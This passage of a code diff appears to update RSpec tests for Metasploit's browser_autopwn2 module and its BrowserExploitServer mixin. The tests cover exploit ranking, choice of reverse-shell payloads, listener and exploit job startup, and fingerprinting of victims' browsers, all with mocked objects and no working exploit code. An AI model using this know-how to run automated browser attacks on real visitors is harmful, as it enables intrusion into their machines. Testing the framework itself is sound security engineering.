expect(subject.sort_group_by_rank(bap_groups).keys).to eq(sorted_order)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#group_bap_modules' do
|
||||
it 'returns modules sorted by group' do
|
||||
group_order = [0, 100, 200, 300, 400, 500, 600]
|
||||
expect(bap_groups.keys).to eq(group_order)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#finalize_sorted_modules' do
|
||||
context 'when MaxExploits is 1' do
|
||||
it 'returns one exploit' do
|
||||
expect(subject.instance_variable_get(:@bap_exploits).length).to eq(3)
|
||||
|
||||
allow(subject).to receive(:datastore).and_return({'MaxExploitCount'=>1})
|
||||
subject.finalize_sorted_modules(bap_groups)
|
||||
expect(subject.instance_variable_get(:@bap_exploits).length).to eq(1)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#get_selected_payload_name' do
|
||||
context 'when windows platform is given' do
|
||||
it 'returns windows/meterpreter/reverse_tcp' do
|
||||
expect(subject.get_selected_payload_name('win')).to eq(windows_meterpreter_reverse_tcp)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#get_selected_payload_lport' do
|
||||
context 'when windows platform is given' do
|
||||
it 'returns 4444' do
|
||||
expect(subject.get_selected_payload_lport('win')).to eq(4444)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#get_payload_lhost' do
|
||||
it 'returns LHOST' do
|
||||
expect(subject.get_payload_lhost).to eq(autopwn_datastore_options['LHOST'])
|
||||
end
|
||||
end
|
||||
|
||||
describe '#start_payload_listeners' do
|
||||
let(:active_payload) do
|
||||
create_fake_windows_meterpreter
|
||||
end
|
||||
|
||||
let(:wanted_payloads) do
|
||||
[{
|
||||
payload_name: active_payload.fullname,
|
||||
payload_lport: active_payload.datastore['LPORT']
|
||||
}]
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
subject.instance_variable_set(:@wanted_payloads, wanted_payloads)
|
||||
subject.instance_variable_set(:@payload_job_ids, [])
|
||||
end
|
||||
|
||||
context 'when a payload is listening' do
|
||||
it 'adds the job ID to the payload job ID list' do
|
||||
expect(subject.instance_variable_get(:@payload_job_ids).length).to eq(0)
|
||||
subject.start_payload_listeners
|
||||
expect(subject.instance_variable_get(:@payload_job_ids).length).to eq(1)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#parse_rank' do
|
||||
context 'when rank is 600' do
|
||||
it 'returns Excellent' do
|
||||
expect(subject.parse_rank(600)).to eq('Excellent')
|
||||
end
|
||||
end
|
||||
|
||||
context 'when rank is 500' do
|
||||
it 'returns Great' do
|
||||
expect(subject.parse_rank(500)).to eq('Great')
|
||||
end
|
||||
end
|
||||
|
||||
context 'when rank is 400' do
|
||||
it 'returns Good' do
|
||||
expect(subject.parse_rank(400)).to eq('Good')
|
||||
end
|
||||
end
|
||||
|
||||
context 'when rank is 300' do
|
||||
it 'returns Good' do
|
||||
expect(subject.parse_rank(300)).to eq('Normal')
|
||||
end
|
||||
end
|
||||
|
||||
context 'when rank is 200' do
|
||||
it 'returns Average' do
|
||||
expect(subject.parse_rank(200)).to eq('Average')
|
||||
end
|
||||
end
|
||||
|
||||
context 'when rank is 100' do
|
||||
it 'returns Low' do
|
||||
expect(subject.parse_rank(100)).to eq('Low')
|
||||
end
|
||||
end
|
||||
|
||||
context 'when rank is 0' do
|
||||
it 'returns Manual' do
|
||||
expect(subject.parse_rank(0)).to eq('Manual')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#is_payload_platform_compatible?' do
|
||||
let(:windows_payload) { create_fake_windows_meterpreter }
|
||||
|
||||
context 'when a valid platform is given' do
|
||||
it 'returns true' do
|
||||
expect(subject.is_payload_platform_compatible?(windows_payload, 'win')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when an invalid platform is given' do
|
||||
it 'returns false' do
|
||||
expect(subject.is_payload_platform_compatible?(windows_payload, 'linux')).to be_falsey
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#is_payload_compatible?' do
|
||||
let(:windows_exploit_payloads) { create_fake_ms14_064.compatible_payloads }
|
||||
|
||||
context 'when a valid payload name is given' do
|
||||
it 'returns true' do
|
||||
expect(subject.is_payload_compatible?(windows_exploit_payloads, windows_meterpreter_reverse_tcp)).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when an invalid payload name is given' do
|
||||
it 'returns false' do
|
||||
expect(subject.is_payload_compatible?(windows_exploit_payloads, linux_meterpreter_reverse_tcp)).to be_falsey
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#is_multi_platform_exploit?' do
|
||||
context 'when a windows exploit is given' do
|
||||
it 'returns false' do
|
||||
windows_exploit = create_fake_ms14_064
|
||||
expect(subject.is_multi_platform_exploit?(windows_exploit)).to be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
context 'when a multi-platform flash exploit is given' do
|
||||
it 'returns true' do
|
||||
flash_exploit = create_fake_flash_net_connection_confusion
|
||||
expect(subject.is_multi_platform_exploit?(flash_exploit)).to be_truthy
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#select_payload' do
|
||||
before(:each) do
|
||||
subject.instance_variable_set(:@wanted_payloads, [])
|
||||
end
|
||||
|
||||
context 'when a ms14_064 is given' do
|
||||
it 'returns a windows payload' do
|
||||
m = create_fake_ms14_064
|
||||
expected_payload = m.compatible_payloads.first.first
|
||||
selected_payload = subject.select_payload(m)
|
||||
expect(selected_payload.length).to eq(1)
|
||||
expect(selected_payload.first[:payload_name]).to eq(expected_payload)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#start_exploits' do
|
||||
before(:each) do
|
||||
allow(subject).to receive(:set_exploit_options)
|
||||
subject.instance_variable_set(:@exploit_job_ids, [])
|
||||
subject.instance_variable_set(:@bap_exploits, [])
|
||||
subject.init_exploits
|
||||
end
|
||||
|
||||
it 'returns job IDs of the exploits started' do
|
||||
subject.start_exploits
|
||||
available_exploits.each do |x|
|
||||
expect(subject.instance_variable_get(:@exploit_job_ids)).to include(x.job_id)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe 'when outputing' do
|
||||
|
||||
# Get stdout:
|
||||
# http://stackoverflow.com/questions/11349270/test-output-to-command-line-with-rspec
|
||||
def get_stdout(&block)
|
||||
out = $stdout
|
||||
$stdout = fake = StringIO.new
|
||||
begin
|
||||
yield
|
||||
ensure
|
||||
$stdout = out
|
||||
end
|
||||
fake.string
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
allow(subject).to receive(:print_status) { |arg| $stdout.puts arg }
|
||||
allow(subject).to receive(:print_line) { |arg| $stdout.puts arg }
|
||||
allow(subject).to receive(:print) { |arg| $stdout.puts arg }
|
||||
allow(subject).to receive(:set_exploit_options)
|
||||
subject.instance_variable_set(:@bap_exploits, [])
|
||||
subject.init_exploits
|
||||
end
|
||||
|
||||
describe '#show_ready_exploits' do
|
||||
|
||||
let(:output) { get_stdout { subject.show_ready_exploits } }
|
||||
|
||||
context 'when there is ms14_064_ole_code_execution available' do
|
||||
it 'shows ms14_064_ole_code_execution on the table' do
|
||||
expect(output).to include('ms14_064_ole_code_execution')
|
||||
end
|
||||
end
|
||||
|
||||
context 'when there is adobe_flash_uncompress_zlib_uaf available' do
|
||||
it 'shows adobe_flash_uncompress_zlib_uaf' do
|
||||
expect(output).to include('adobe_flash_uncompress_zlib_uaf')
|
||||
end
|
||||
end
|
||||
|
||||
context 'when there is adobe_flash_net_connection_confusion available' do
|
||||
it 'shows adobe_flash_net_connection_confusion' do
|
||||
expect(output).to include('adobe_flash_net_connection_confusion')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
skip '#start_service' do
|
||||
it 'prints the BrowserAutopwn URL' do
|
||||
# This code blows up, por que??
|
||||
# 3 threads exist(s) when only 1 thread expected after suite runs
|
||||
allow_any_instance_of(Msf::Exploit::Remote::BrowserExploitServer).to receive(:super)
|
||||
allow(subject).to receive(:show_ready_exploits)
|
||||
allow_any_instance_of(Rex::Socket).to receive(:source_address).and_return(nil)
|
||||
subject.start_service
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
describe '#log_click' do
|
||||
let(:ip) { '192.168.1.123' }
|
||||
|
||||
context 'when a link is clicked' do
|
||||
it 'reports a bap.clicks note' do
|
||||
subject.log_click(ip)
|
||||
expect(subject.framework.db.notes.first.ntype).to eq('bap.clicks')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#get_exploit_urls' do
|
||||
context 'when ms14_064 is on the list' do
|
||||
it 'returns the URL for ms14_064' do
|
||||
ms14_064 = create_fake_ms14_064
|
||||
allow(subject).to receive(:get_suitable_exploits).and_return([ms14_064])
|
||||
expect(subject.get_exploit_urls(cli, cli_req).first).to include(ms14_064.datastore['URIPATH'])
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#is_ip_targeted?' do
|
||||
let(:ip) { '1.2.3.4' }
|
||||
|
||||
context 'when IP 1.2.3.4 is on the whitelist' do
|
||||
it 'returns true' do
|
||||
subject.instance_variable_set(:@whitelist, [ip])
|
||||
expect(subject.is_ip_targeted?(ip)).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when IP 1.2.3.4 is not on the whitelist' do
|
||||
it 'returns false' do
|
||||
subject.instance_variable_set(:@whitelist, [])
|
||||
expect(subject.is_ip_targeted?(ip)).to be_falsey
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#get_custom_404_url' do
|
||||
it 'returns a custom 404' do
|
||||
expect(subject.get_custom_404_url).to eq(autopwn_datastore_options['Custom404'])
|
||||
end
|
||||
end
|
||||
|
||||
skip '#configure_job_output' do
|
||||
end
|
||||
|
||||
describe '#session_count' do
|
||||
it 'returns the total session count' do
|
||||
subject.instance_variable_set(:@payload_job_ids, job_ids)
|
||||
expect(subject.session_count).to eq(0)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
end
|
|
@ -1,53 +1,113 @@
|
|||
require 'spec_helper'
|
||||
#require 'spec_helper'
|
||||
require 'msf/core'
|
||||
|
||||
describe Msf::Exploit::Remote::BrowserExploitServer do
|
||||
|
||||
let(:in_memory_profile) do
|
||||
{
|
||||
"BAP.1433806920.Client.blLGFIlwYrxfvcY" =>
|
||||
{
|
||||
source: "script",
|
||||
os_name: "Windows 8.1",
|
||||
os_vendor: "undefined",
|
||||
os_device: "undefined",
|
||||
ua_name: "Firefox",
|
||||
ua_ver: "35.0",
|
||||
arch: "x86",
|
||||
java: "1.7",
|
||||
silverlight: "false",
|
||||
flash: "14.0",
|
||||
vuln_test: "true",
|
||||
proxy: false,
|
||||
language: "en-US,en;q=0.5",
|
||||
tried: true,
|
||||
activex: [{"clsid"=>"{D27CDB6E-AE6D-11cf-96B8-444553540000}", "method"=>"LoadMovie"}]
|
||||
}}
|
||||
end
|
||||
|
||||
let(:default_note_type_prefix) do
|
||||
in_memory_profile.keys.first.split('.')[0,3] * "."
|
||||
end
|
||||
|
||||
let(:first_profile_tag) do
|
||||
in_memory_profile.keys.first.split('.')[3]
|
||||
end
|
||||
|
||||
let(:first_profile_info) do
|
||||
in_memory_profile.values.first
|
||||
end
|
||||
|
||||
let(:cli) do
|
||||
sock = Rex::Socket::Tcp
|
||||
allow(sock).to receive(:peerhost).and_return('0.0.0.0')
|
||||
allow(sock).to receive(:peerport).and_return(4444)
|
||||
sock
|
||||
end
|
||||
|
||||
let(:user_agent) do
|
||||
'Mozilla/5.0 (Windows NT 6.3; rv:39.0) Gecko/20100101 Firefox/35.0'
|
||||
end
|
||||
|
||||
let(:cli_request) do
|
||||
req = Rex::Proto::Http::Request.new
|
||||
req.headers['Cookie'] = cookie
|
||||
req.headers['User-Agent'] = user_agent
|
||||
req
|
||||
end
|
||||
|
||||
let(:tag) do
|
||||
'tag'
|
||||
end
|
||||
|
||||
let(:cookie) do
|
||||
"__ua=#{tag};"
|
||||
end
|
||||
|
||||
let(:shortname) do
|
||||
'browser_exploit_server'
|
||||
end
|
||||
|
||||
def create_fake_note(tag, data)
|
||||
note = double('note')
|
||||
allow(note).to receive(:ntype).and_return(tag)
|
||||
allow(note).to receive(:data).and_return(data)
|
||||
|
||||
note
|
||||
end
|
||||
|
||||
|
||||
before(:each) do
|
||||
allow_any_instance_of(described_class).to receive(:vprint_status)
|
||||
allow_any_instance_of(described_class).to receive(:vprint_line)
|
||||
@notes = [create_fake_note(first_profile_tag, in_memory_profile)]
|
||||
end
|
||||
|
||||
subject(:server) do
|
||||
mod = Msf::Exploit::Remote.allocate
|
||||
mod.extend described_class
|
||||
mod.send(:initialize, {})
|
||||
mod.send(:initialize)
|
||||
mod.send(:datastore=, {'NoteTypePrefix' => default_note_type_prefix})
|
||||
allow(mod).to receive(:shortname).and_return(shortname)
|
||||
allow(mod).to receive(:fullname).and_return(fullname)
|
||||
allow(mod).to receive(:report_client)
|
||||
mod
|
||||
end
|
||||
|
||||
let(:fullname) do
|
||||
'auxiliary/server/browser_autopwn2'
|
||||
end
|
||||
|
||||
let(:service_double) do
|
||||
service = double('service')
|
||||
service.stub(:server_name=)
|
||||
service.stub(:add_resource)
|
||||
allow(service).to receive(:server_name=)
|
||||
allow(service).to receive(:add_resource)
|
||||
service
|
||||
end
|
||||
|
||||
let(:expected_user_agent) do
|
||||
'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)'
|
||||
end
|
||||
|
||||
let(:profile_name) do
|
||||
'random'
|
||||
end
|
||||
|
||||
let(:expected_os_name) do
|
||||
'linux'
|
||||
end
|
||||
|
||||
let(:exploit_page) do
|
||||
server.instance_variable_get(:@exploit_receiver_page)
|
||||
end
|
||||
|
||||
let(:expected_profile) do
|
||||
{
|
||||
:source =>'script',
|
||||
:os_name =>'Windows XP',
|
||||
:ua_name =>'MSIE',
|
||||
:ua_ver =>'8.0',
|
||||
:arch =>'x86',
|
||||
:office =>'null',
|
||||
:activex => [ {clsid: '{D27CDB6E-AE6D-11cf-96B8-444553540000}', method: 'LoadMovie'} ],
|
||||
:proxy => false,
|
||||
:language => 'en-us',
|
||||
:tried => true
|
||||
}
|
||||
end
|
||||
|
||||
before do
|
||||
Rex::ServiceManager.stub(:start => service_double)
|
||||
end
|
||||
|
@ -58,7 +118,8 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
|
|||
|
||||
it_should_behave_like 'Msf::Exploit::JSObfu'
|
||||
|
||||
describe "#get_module_resource" do
|
||||
|
||||
describe '#get_module_resource' do
|
||||
it "should give me a URI to access the exploit page" do
|
||||
module_resource = server.get_module_resource
|
||||
expect(module_resource).to include(exploit_page)
|
||||
|
@ -67,127 +128,31 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
|
|||
|
||||
describe '#has_bad_activex?' do
|
||||
context 'when there is a bad activex' do
|
||||
let(:js_ax_value) { "#{expected_profile[:activex][0][:clsid]}=>#{expected_profile[:activex][0][:method]}=>false" }
|
||||
let(:js_ax_value) { "#{first_profile_info[:activex][0][:clsid]}=>#{first_profile_info[:activex][0][:method]}=>false" }
|
||||
it 'returns false' do
|
||||
expect(server.has_bad_activex?(js_ax_value)).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when there is no bad activex' do
|
||||
let(:js_ax_value) { "#{expected_profile[:activex][0][:clsid]}=>#{expected_profile[:activex][0][:method]}=>true" }
|
||||
let(:js_ax_value) { "#{first_profile_info[:activex][0][:clsid]}=>#{first_profile_info[:activex][0][:method]}=>true" }
|
||||
it 'returns true' do
|
||||
expect(server.has_bad_activex?(js_ax_value)).to be_falsey
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#get_bad_requirements" do
|
||||
let(:rejected_requirements) do
|
||||
server.get_bad_requirements(fake_profile)
|
||||
end
|
||||
|
||||
context 'when given the expected profile' do
|
||||
it "should not contain any bad requirements" do
|
||||
expect(server.get_bad_requirements(expected_profile)).to eq([])
|
||||
end
|
||||
end
|
||||
|
||||
context 'when attempting to match :os_name' do
|
||||
let(:fake_profile) do
|
||||
{ :os_name => expected_os_name }
|
||||
end
|
||||
|
||||
before do
|
||||
server.instance_variable_set(:@requirements, {:os_name => /win/i})
|
||||
end
|
||||
|
||||
it "identifies :os_name as a requirement not met" do
|
||||
expect(rejected_requirements).to eq([:os_name])
|
||||
end
|
||||
end
|
||||
|
||||
context 'when attempting to match :ua_ver' do
|
||||
context 'against version 25.0' do
|
||||
let(:expected_ua_ver) { '25.0' }
|
||||
let(:fake_profile) do
|
||||
{ :ua_ver => expected_ua_ver }
|
||||
end
|
||||
|
||||
before do
|
||||
server.instance_variable_set(:@requirements, {:ua_ver => ua_ver})
|
||||
end
|
||||
|
||||
context "with the regex /26\.0$/" do
|
||||
let(:ua_ver) { /26\.0$/ }
|
||||
it "should reject :ua_ver" do
|
||||
expect(rejected_requirements).to include(:ua_ver)
|
||||
end
|
||||
end
|
||||
|
||||
context "with the regex /25\.0$/" do
|
||||
let(:ua_ver) { /25\.0$/ }
|
||||
it "should accept :ua_ver" do
|
||||
expect(rejected_requirements).not_to include(:ua_ver)
|
||||
end
|
||||
end
|
||||
|
||||
context "with a Proc that checks if version is between 1-5" do
|
||||
let(:ua_ver) { lambda{ |ver| ver.to_i.between?(1, 5) } }
|
||||
it "should reject :ua_ver" do
|
||||
expect(rejected_requirements).to include(:ua_ver)
|
||||
end
|
||||
end
|
||||
|
||||
context "with a Proc that checks if version is between 20-26" do
|
||||
let(:ua_ver) { lambda{ |ver| ver.to_i.between?(20, 26) } }
|
||||
it "should accept :ua_ver" do
|
||||
expect(rejected_requirements).not_to include(:ua_ver)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#init_profile" do
|
||||
it "should initialize an empety profile for tag 'random'" do
|
||||
server.init_profile(profile_name)
|
||||
ivar_target_profile = server.instance_variable_get(:@target_profiles)
|
||||
expect(ivar_target_profile).to eq({profile_name=>{}})
|
||||
end
|
||||
end
|
||||
|
||||
describe "#get_profile" do
|
||||
it "should return nil when a profile isn't found" do
|
||||
server.init_profile(profile_name)
|
||||
p = server.get_profile("non_existent_profile")
|
||||
expect(p).to be_nil
|
||||
end
|
||||
|
||||
it "returns a profile if found" do
|
||||
server.init_profile(profile_name)
|
||||
p = server.get_profile(profile_name)
|
||||
expect(p).to eq({})
|
||||
end
|
||||
end
|
||||
|
||||
describe "#update_profile" do
|
||||
it "updates my target profile's :os_name information" do
|
||||
server.init_profile(profile_name)
|
||||
profile = server.get_profile(profile_name)
|
||||
server.update_profile(profile, :os_name, expected_os_name)
|
||||
profile = server.get_profile(profile_name)
|
||||
expect(profile[:os_name]).to eq(expected_os_name)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#get_detection_html" do
|
||||
describe '#get_detection_html' do
|
||||
it "returns the detection code that the client will get" do
|
||||
expected_user_agent = 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)'
|
||||
html = server.get_detection_html(expected_user_agent)
|
||||
expect(html).not_to eq('')
|
||||
end
|
||||
end
|
||||
|
||||
describe "#on_request_exploit" do
|
||||
|
||||
describe '#on_request_exploit' do
|
||||
it "raises a NoMethodError if called" do
|
||||
fake_cli = nil
|
||||
fake_request = nil
|
||||
|
@ -198,130 +163,100 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
|
|||
end
|
||||
end
|
||||
|
||||
describe "#get_target" do
|
||||
describe '#get_target' do
|
||||
it "returns a target" do
|
||||
#
|
||||
# Using Object for Msf::Module::Target
|
||||
#
|
||||
expected_object = Object
|
||||
expected_object = double('Msf::Module::Target')
|
||||
server.instance_variable_set(:@target, expected_object)
|
||||
server.get_target.should eq(expected_object)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#try_set_target" do
|
||||
it "Sets a target based on requirements" do
|
||||
#
|
||||
# This testcase needs to be better somehow, but not sure how to actually create
|
||||
# a Msf::Module::Target. All we're able to test here is making sure the method
|
||||
# doesn't raise anything by exercising the code.
|
||||
#
|
||||
server.instance_variable_set(:@requirements, {:os_name => /win/i})
|
||||
server.instance_variable_set(:@target, Object)
|
||||
server.try_set_target(expected_profile)
|
||||
server.get_target.should eq(Object)
|
||||
|
||||
describe 'extract_requirements' do
|
||||
context 'when a recognizable requirement is given' do
|
||||
it 'returns a hash that contains the recognizable requirement' do
|
||||
expected_hash = {:os_name=>'Linux'}
|
||||
expect(server.extract_requirements(expected_hash)).to eq(expected_hash)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when a unrecognizable requirement is given' do
|
||||
it 'returns a hash that does not have the unrecognizable requirement' do
|
||||
bad_hash = {'UNKNOWN_KEY'=>'VALUE'}
|
||||
expect(server.extract_requirements(bad_hash)).to be_empty
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#extract_requirements" do
|
||||
it "finds all the recognizable keys" do
|
||||
requirements = {:os_name=>"Windows XP", :ua_name=>"MSIE", :ua_ver=>"8.0"}
|
||||
matches = server.extract_requirements(requirements)
|
||||
expect(matches).to eq(requirements)
|
||||
describe '#retrieve_tag' do
|
||||
context 'when the browser has a cookie that contains our tag' do
|
||||
it 'returns the tag from the cookie' do
|
||||
expect(server.retrieve_tag(cli, cli_request)).to eq(tag)
|
||||
end
|
||||
end
|
||||
|
||||
it "makes sure the keys are always symbols" do
|
||||
requirements = {'os_name'=>"Windows XP", 'ua_name'=>"MSIE"}
|
||||
matches = server.extract_requirements(requirements)
|
||||
matches.each do |k,v|
|
||||
expect(k.class).to eq(Symbol)
|
||||
context 'when the browser does not have a tag' do
|
||||
|
||||
let(:cli_request) do
|
||||
Rex::Proto::Http::Request.new
|
||||
end
|
||||
|
||||
it 'returns a new one in MD5' do
|
||||
expect(server.retrieve_tag(cli, cli_request)).to match(/^[0-9a-f]{32}$/)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#on_request_uri' do
|
||||
let(:cli) { double(:peerhost => '0.0.0.0') }
|
||||
let(:cookie) { '' }
|
||||
let(:headers) { {'Cookie' => cookie, 'User-Agent' => ''} }
|
||||
let(:body) { '' }
|
||||
let(:cookie_name) { Msf::Exploit::Remote::BrowserExploitServer::DEFAULT_COOKIE_NAME }
|
||||
let(:request) do
|
||||
double(:body => body, :headers => headers, :uri => server.get_resource )
|
||||
before(:each) do
|
||||
allow(server).to receive(:get_profile_info) { in_memory_profile }
|
||||
allow(server).to receive(:init_profile).with(kind_of(String))
|
||||
allow(server).to receive(:update_profile)
|
||||
allow(server).to receive(:process_browser_info)
|
||||
allow(server).to receive(:send_response) { @send_response_called = true }
|
||||
allow(server).to receive(:send_redirect) { @send_redirect_called = true }
|
||||
allow(server).to receive(:send_not_found) { @send_not_found_called = true}
|
||||
allow(server).to receive(:on_request_exploit) { @on_request_exploit_called = true }
|
||||
allow(server).to receive(:on_request_exploit) { @on_request_exploit_called = true }
|
||||
end
|
||||
|
||||
before do
|
||||
server.stub(:send_redirect)
|
||||
server.stub(:send_response)
|
||||
server.stub(:send_not_found)
|
||||
after(:each) do
|
||||
@send_response_called = false
|
||||
@send_redirect_called = false
|
||||
@on_request_exploit_called = false
|
||||
@send_not_found_called = false
|
||||
@on_request_exploit_called = false
|
||||
@report_client = nil
|
||||
end
|
||||
|
||||
context 'when a new visitor requests the exploit' do
|
||||
before { JSObfu.disabled = true }
|
||||
after { JSObfu.disabled = false }
|
||||
|
||||
it 'calls send_response once' do
|
||||
server.should_receive(:send_response).once
|
||||
server.on_request_uri(cli, request)
|
||||
end
|
||||
|
||||
it 'serves the os.js detection script' do
|
||||
server.should_receive(:send_response) do |cli, html, headers|
|
||||
expect(html).to include('os_detect')
|
||||
end
|
||||
server.on_request_uri(cli, request)
|
||||
context 'when info_receiver_page is requested' do
|
||||
it 'sends an empty page' do
|
||||
info_receiver_page_var = server.instance_variable_get(:@info_receiver_page)
|
||||
cli_request = Rex::Proto::Http::Request.new
|
||||
cli_request.uri = info_receiver_page_var
|
||||
server.on_request_uri(cli, cli_request)
|
||||
expect(@send_response_called).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when a returning visitor requests the exploit' do
|
||||
let(:body) { '' }
|
||||
let(:tag) { 'joe' }
|
||||
let(:cookie) { "#{cookie_name}=#{tag}" }
|
||||
|
||||
before { server.init_profile(tag) }
|
||||
|
||||
it 'calls send_redirect once' do
|
||||
server.should_receive(:send_redirect).once
|
||||
server.on_request_uri(cli, request)
|
||||
end
|
||||
|
||||
it 'redirects to the exploit URL' do
|
||||
server.should_receive(:send_redirect) do |cli, url|
|
||||
expect(url).to end_with("#{exploit_page}/")
|
||||
end
|
||||
server.on_request_uri(cli, request)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when a returning visitor from a previous msf run requests the exploit' do
|
||||
let(:body) { '' }
|
||||
let(:tag) { 'joe' }
|
||||
let(:cookie) { "#{cookie_name}=#{tag}" }
|
||||
|
||||
before { JSObfu.disabled = true }
|
||||
after { JSObfu.disabled = false }
|
||||
|
||||
it 'calls send_response once' do
|
||||
server.should_receive(:send_response).once
|
||||
server.on_request_uri(cli, request)
|
||||
end
|
||||
|
||||
it 'serves the os.js detection script' do
|
||||
server.should_receive(:send_response) do |cli, html, headers|
|
||||
expect(html).to include('os_detect')
|
||||
end
|
||||
server.on_request_uri(cli, request)
|
||||
context 'when noscript_receiver_page is requested' do
|
||||
it 'sends a not-found' do
|
||||
noscript_receiver_page_var = server.instance_variable_get(:@noscript_receiver_page)
|
||||
cli_request = Rex::Proto::Http::Request.new
|
||||
cli_request.uri = noscript_receiver_page_var
|
||||
server.on_request_uri(cli, cli_request)
|
||||
expect(@send_not_found_called).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
describe '#get_payload' do
|
||||
let(:cli) {
|
||||
Rex::Socket::Tcp
|
||||
}
|
||||
|
||||
before(:each) do
|
||||
allow(cli).to receive(:peerhost).and_return('0.0.0.0')
|
||||
allow(cli).to receive(:peerport).and_return(4444)
|
||||
target = double('Msf::Module::Target')
|
||||
allow(target).to receive(:arch).and_return(nil)
|
||||
allow(server).to receive(:get_target).and_return(target)
|
||||
end
|
||||
|
||||
let(:encoded) { '@EXE@' }
|
||||
|
@ -330,25 +265,168 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
|
|||
double(:encoded => encoded, :arch => ['x86'])
|
||||
}
|
||||
|
||||
let(:x86_64_payload) {
|
||||
double(:encoded => encoded, :arch => ['x86_64'])
|
||||
let(:normalized_profile_info) {
|
||||
first_profile_info.inject({}){|data,(k,v)| data[k.to_sym] = v; data}
|
||||
}
|
||||
|
||||
context 'when the payload supports the visitor\'s browser architecture' do
|
||||
it 'returns a payload' do
|
||||
allow(server).to receive(:regenerate_payload).and_return(x86_payload)
|
||||
expect(server.get_payload(cli, expected_profile)).to eq(encoded)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the payload does not support the visitor\'s browser architecture' do
|
||||
it 'raises a BESException' do
|
||||
allow(server).to receive(:regenerate_payload).and_return(x86_64_payload)
|
||||
expect{server.get_payload(cli, expected_profile)}.to raise_error(Msf::Exploit::Remote::BrowserExploitServer::BESException)
|
||||
expect(server.get_payload(cli, normalized_profile_info)).to eq(encoded)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#browser_profile_prefix' do
|
||||
it 'returns a BES prefix' do
|
||||
expect(subject.browser_profile_prefix).to include(shortname)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#get_custom_404_url' do
|
||||
let(:custom_404) do
|
||||
'http://example.com'
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
allow(subject).to receive(:datastore).and_return({'Custom404'=>custom_404})
|
||||
end
|
||||
|
||||
context 'when a custom 404 URL is set' do
|
||||
it 'returns the URL' do
|
||||
expect(subject.get_custom_404_url).to eq(custom_404)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#get_module_uri' do
|
||||
let(:exploit_receiver_page) do
|
||||
'exploit_receiver_page'
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
subject.instance_variable_set(:@exploit_receiver_page, exploit_receiver_page)
|
||||
allow(subject).to receive(:get_uri).and_return('')
|
||||
end
|
||||
|
||||
it 'returns a module URI' do
|
||||
expect(subject.get_module_uri).to include(exploit_receiver_page)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#try_set_target' do
|
||||
let(:aux_mod) do
|
||||
mod = Msf::Auxiliary.allocate
|
||||
mod.extend described_class
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
let(:target_options) do
|
||||
{ua_name: 'Firefox'}
|
||||
end
|
||||
|
||||
let(:target) do
|
||||
t = double('target')
|
||||
allow(t).to receive(:opts).and_return(target_options)
|
||||
t
|
||||
end
|
||||
|
||||
let(:default_auto_target) do
|
||||
# The default auto target is always the first on the list.
|
||||
# In a module this would be the "Automatic" target.
|
||||
t = double('target')
|
||||
allow(t).to receive(:opts).and_return({})
|
||||
t
|
||||
end
|
||||
|
||||
let(:targets) do
|
||||
[ default_auto_target, target ]
|
||||
end
|
||||
|
||||
context 'when an auxiliary uses BES' do
|
||||
it 'returns nil' do
|
||||
expect(aux_mod.try_set_target(first_profile_info)).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context 'when an exploit uses BES' do
|
||||
it 'sets the instance variable @target' do
|
||||
expect(subject.instance_variable_get(:@target)).to be_nil
|
||||
allow(subject).to receive(:targets).and_return(targets)
|
||||
subject.try_set_target(first_profile_info)
|
||||
expect(subject.instance_variable_get(:@target)).to eq(target)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#get_bad_requirements' do
|
||||
context 'when there is a bad requirement' do
|
||||
it 'returns a bad requirement' do
|
||||
